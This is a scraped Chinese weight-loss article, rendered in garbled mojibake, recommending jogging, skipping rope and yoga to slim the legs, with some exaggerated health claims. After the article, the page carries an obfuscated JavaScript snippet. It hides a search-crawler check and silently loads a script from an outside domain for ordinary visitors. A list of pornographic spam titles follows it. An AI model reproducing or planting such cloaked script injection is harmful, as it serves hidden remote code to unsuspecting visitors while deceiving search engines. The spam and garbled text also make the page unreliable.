當(dāng)前位置:首頁 > 減肥 > 運(yùn)動(dòng)減肥 > 正文

什么運(yùn)動(dòng)方法可以瘦腿呢

2017-06-11 12:40:14  來源:360常識網(wǎng)   熱度:
導(dǎo)語:減肥已經(jīng)成為了一種時(shí)尚潮流,成為我們很多女性朋友都談?wù)摰囊粋€(gè)話題,運(yùn)動(dòng)減肥方法是減肥的一種最佳方法,運(yùn)動(dòng)方法可以采用一些籃球鍛煉的

減肥已經(jīng)成為了一種時(shí)尚潮流,成為我們很多女性朋友都談?wù)摰囊粋€(gè)話題,運(yùn)動(dòng)減肥方法是減肥的一種最佳方法,運(yùn)動(dòng)方法可以采用一些籃球鍛煉的方法或者是跳繩運(yùn)動(dòng)的方法都可以達(dá)到一種非常不錯(cuò)的促進(jìn)體內(nèi)脂肪燃燒的效果,來具體了解一下什么運(yùn)動(dòng)方法可以瘦腿呢吧。

1:慢跑/散步 不需要太大的投入,卻可以有很大的收益,如果你熱愛運(yùn)動(dòng)或者熱愛減肥的話,最好選擇跑步;如果你沒有時(shí)間的話,建議你把每天的晨練放在上班的路上,最好是能走路就不要坐車。它對心臟和血液循環(huán)系統(tǒng)都有很大的好處,每天保持一定時(shí)間的鍛煉(30分鐘以上),會(huì)有利于減肥,最好的方式是跑、走結(jié)合。

2. :跳繩 美國著名健身專家里奇-桑旦勒認(rèn)為:跳繩花樣繁多,可簡可繁,隨時(shí)可做,一學(xué)就會(huì),特別適宜在氣溫較低的季節(jié)作為健身運(yùn)動(dòng),而且對女性尤為適宜。從運(yùn)動(dòng)量來說,持續(xù)跳繩10分鐘,與慢跑30分鐘或跳健身舞20分鐘相差無幾,是一項(xiàng)耗時(shí)少耗能大的有氧運(yùn)動(dòng)。 英國健身專家瑪姆卻在防病治病上給予了肯定:跳繩能增強(qiáng)人體心血管、呼吸和神經(jīng)系統(tǒng)的功能。他的研究證實(shí),跳繩可以預(yù)防諸如糖尿病、關(guān)節(jié)炎、肥胖癥、骨質(zhì)疏松、高血壓、肌肉萎縮、高血脂、失眠癥、抑郁癥、更年期綜合征等,對哺乳期和絕經(jīng)期婦女來說,跳繩還兼有放松情緒的積極作用。 鑒于跳繩對女性的獨(dú)特保健作用,法國健身專家莫克專門為女性健身者設(shè)計(jì)了一種“跳繩漸進(jìn)計(jì)劃”。初學(xué)時(shí),僅在原地跳1分鐘;3天后即可連續(xù)跳3分鐘;3個(gè)月后連續(xù)跳上10分鐘;半年后每天實(shí)行“系列跳”(如每次連跳3分鐘,共5次),直到一次連續(xù)跳上半小時(shí)。一次跳半小時(shí),就相當(dāng)于慢跑90分鐘的運(yùn)動(dòng)量。

3:瑜伽 瑜伽 起源于古印度,是一種建立在身體、呼吸和心靈結(jié)合基礎(chǔ)上的身心鍛煉。它主要通過體位法練習(xí),再配合有意識的呼吸法,使精神歸于安寧。 瑜伽能夠鍛煉內(nèi)臟、腺體和神經(jīng)系統(tǒng),使肌肉、關(guān)節(jié)、脊柱和整個(gè)骨胳系統(tǒng)更為有力、協(xié)調(diào),使全身充滿活力。瑜伽雕塑體型、減肥的效果尤其顯著。

什么運(yùn)動(dòng)方法可以瘦腿呢為我們提供了科學(xué)的指導(dǎo)和建議,運(yùn)動(dòng)方法的選擇也一定不要盲目,盲目的選擇一些運(yùn)動(dòng)方法可能會(huì)達(dá)到適得其反的效果,減肥不能一蹴而就,需要我們長期的去堅(jiān)持,所以我們一定要做好持久戰(zhàn)的準(zhǔn)備。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品1024视频| 91精品国产成人网在线观看| 久久亚洲精品无码播放| 久久免费国产精品| 亚洲国产精品无码久久98| 国产精品岛国久久久久| 久久免费观看国产精品88av| 国产精品自在在线午夜蜜芽tv在线 | 亚洲精品在线播放视频| 青草青草久热精品视频在线网站| 亚洲AV无码国产精品麻豆天美| 亚洲精品无码Av人在线观看国产| 国产精品热久久毛片| 亚洲欧洲自拍拍偷精品 美利坚| 青春草国产成人精品久久| 亚洲精品蜜夜内射| 国产福利91精品一区二区三区| 91精品国产综合久| 亚洲欧洲国产精品久久| 久久精品国产亚洲AV嫖农村妇女| 亚洲综合一区二区国产精品| 久久久国产精品网站| 3d动漫精品一区视频在线观看| 一区二区精品在线| 99re6在线精品免费观看| 在线私拍国产福利精品| 久久噜噜久久久精品66| 久久久久久国产精品mv| 日韩精品视频免费网址| 精品久久久久久中文| 色婷婷99综合久久久精品| 国产精品剧情原创麻豆国产| 国产精品机视频大陆| 国产69精品久久久久久久| 亚洲国产精品综合久久久| 99久久免费精品视频| 亚洲国产欧美日韩精品一区二区三区 | 99在线视频精品| 精品久久人妻av中文字幕| 99久久亚洲综合精品成人网| 无码人妻精品一区二区三区久久 |